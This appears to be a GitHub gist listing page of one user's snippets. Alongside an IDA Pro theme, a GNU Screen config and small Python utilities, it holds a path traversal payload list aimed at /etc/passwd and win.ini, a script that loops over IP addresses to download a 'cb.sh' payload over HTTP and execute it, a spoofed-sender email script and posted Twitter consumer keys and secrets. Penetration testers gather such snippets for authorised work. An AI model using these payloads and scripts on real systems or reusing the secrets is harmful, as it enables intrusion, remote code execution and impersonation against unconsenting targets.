Skip to content

Instantly share code, notes, and snippets.

View samduy's full-sized avatar

Duy K. samduy

  • Eurecom, Bell Labs
  • Paris, France
  • X @duykham_
View GitHub Profile
@samduy
samduy / ida-consonance-dark.clr
Last active April 21, 2020 12:34
IDA Pro Dark Theme
[DISASM]
000000 //
aaaaaa //Default color
f3c5ff //Regular comment
7e6082 //Repeatable comment
7faa55 //Automatic comment
ffffff //Instruction
b9ebeb //Dummy Data Name
b9ebeb //Regular Data Name
bbecff //Demangled Name
@samduy
samduy / key.md
Created December 28, 2018 10:38
Twitter (un)official Consumer Key

Twitter Official Consumer Key

Twitter for Android

type:            PIN
Consumer key:    3nVuSoBZnx6U4vzUxf5w
Consumer secret: Bcs59EFbbsdF6Sl9Ng71smgStWEGwXXKSjYvPVt7qys

Twitter for iPhone

type:            PIN

Consumer key: IQKbtAYlXLripLGPWd0HUA

@samduy
samduy / printcolors.py
Created July 12, 2018 08:07
Print with colors in python
#!/usr/bin/env python
# Ref: https://stackoverflow.com/questions/287871/print-in-terminal-with-colors
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
@samduy
samduy / .screenrc
Last active March 27, 2018 08:30
Configuration for a nice GNU Screen
# Author: samduy@github
# Clear the screen after exiting Vim
altscreen on
# using mouse to select region
# turning this on will lose the normal mouse control like select/copy/paste
#mousetrack on
# turn off welcome message
@samduy
samduy / path_traversal_payloads.txt
Created January 21, 2018 15:41
List of common path traversal attacks (can be used with BurpSuite Instruder)
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2fetc/passwd
%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fetc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cetc/passwd
@samduy
samduy / registry_hex2ascii.py
Created December 31, 2017 13:27
Convert Windows registry hex format to readable ASCII
import binascii, sys, string
dataFormatHex = binascii.a2b_hex(sys.argv[1])
output = ""
for char in dataFormatHex:
if char in string.printable: output += char
else: output += "."
print "\n" + output
@samduy
samduy / send_http_msg.py
Created December 31, 2017 13:22
Send HTTP Message
from scapy.all import *
# Add iptables rule to block attack box from sending RSTs
# Create web.txt with entire GET/POST packet data
fileweb = open("web.txt",'r')
data = fileweb.read()
ip = IP(dst="<ip>")
SYN=ip/TCP(rport=RandNum(6000,7000),dport=80,flags="S",seq=4)
SYNACK = sr1(SYN)
ACK=ip/TCP(sport=SYNACK.dport,dport=80,flags="A",seq=SYNACK.ack,ack=SYNACK.seq+1)/data
reply,error = sr(ACK)
@samduy
samduy / http_execute.py
Created December 31, 2017 13:14
Loop through IP list, Download file over HTTP and Execute
#!/usr/bin/python
import urllib2, os
urls = ["1.1.1.1","2.2.2.2"]
port = "80"
payload = "cb.sh"
for url in urls:
u = "http://%s:%s/%s" % (url, port, payload)
try:
@samduy
samduy / sendmail.py
Created December 31, 2017 13:04
Python Email Sender (sendmail must be installed)
#!/usr/bin/python
import smtplib, string
import os, time
os.system("/etc/init.d/sendmail start")
time.sleep(4)
HOST = "localhost"
SUBJECT = "Email from spoofed sender"
TO = "[email protected]"
@samduy
samduy / ssl_httpserver.py
Created December 31, 2017 12:56
SSL Encrypted SimpleHTTPServer
# Create SSL cert (follow prompts for customization)
# > openssl req -new -x509 -keyout cert.pem -out cert.pem -days 365 -nodes
# Create httpserver.py
import BaseHTTPServer,SimpleHTTPServer,ssl
cert = "cert.pem"
httpd = BaseHTTPServer.HTTPServer(('192.168.1.10',443),SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,certfile=cert,server_side=True)